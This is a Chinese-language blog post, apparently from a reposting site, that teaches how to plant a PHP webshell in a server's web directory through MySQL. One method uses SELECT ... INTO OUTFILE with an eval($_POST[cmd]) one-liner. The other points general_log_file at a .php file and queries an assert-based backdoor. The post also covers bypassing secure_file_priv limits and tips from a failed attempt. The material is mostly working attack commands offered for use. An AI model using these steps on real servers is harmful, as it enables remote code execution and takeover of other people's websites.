美文网首页
【MySQL】写文件到服务器 web目录

【MySQL】写文件到服务器 web目录

作者: 极客圈 | 来源:发表于2017-11-16 10:09 被阅读0次

写入文件 1 - 简单的尝试

select '<?php @eval($_POST[cmd]);?>' INTO OUTFILE 'D:/phpStudy/WWW/cmd.php'


可能报错:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

在mysql中使用secure_file_priv配置项,对数据导入导出的限制。

导出数据表
把mydata.user表的数据导出来:
select * from mydata.user INTO OUTFILE '/home/mysql/user.txt';

mysql的官方:

--secure-file-priv=name Limit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() to files within specified directory

限制导出导入文件到特定目录,其具体用法:

# 限制mysqld的导入和导出,完全禁止出。
mysqld --secure_file_prive=null


# 限制mysqld的导入和导出,只能在特定目录 /tmp/之下
mysqld --secure_file_priv=/tmp/


# 不限制mysqld的导入和导出
在文件/etc/my.cnf中不写 --secure_file_priv

写入文件 2 - 通过general_log和general_log_file

--secure-file-priv

general log简介:
mysql:打开general log选项,所有的查询语句都在general log文件中以可读的方式得到
(这样general log文件会非常大,所以默认是关闭的!有的时候为了查错等原因,会暂时打开general log)

即general_log_file会记录所有的查询语句,以原始的状态来显示。

写入原理:
将general_log开关打开,语句指定general_log_file为1.php文件,则查询语句的结果 全部写入到general_log_file指定的文件1.php

执行语句:

# 查看genera文件配置情况
show global variables like "%genera%";
#查看有读写权限的目录
show global variables like ‘%secure%’;
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/upload/1.php';
SELECT '<?php assert($_POST["cmd"]);?>';

大部分都好用

有一次实测失败了:general_log 可写到目录home或tmp 但web根目录写不了
尝试写web目录的子目录(比如img. upload)
改了log file路径之后 general log就神奇般的自动从ON变为OFF了
再改回ON,下面的log路径就自动变回去。

# 关闭general_log
set global general_log=off;

相关文章

网友评论

      本文标题:【MySQL】写文件到服务器 web目录

      本文链接:https://www.haomeiwen.com/subject/vqwamxtx.html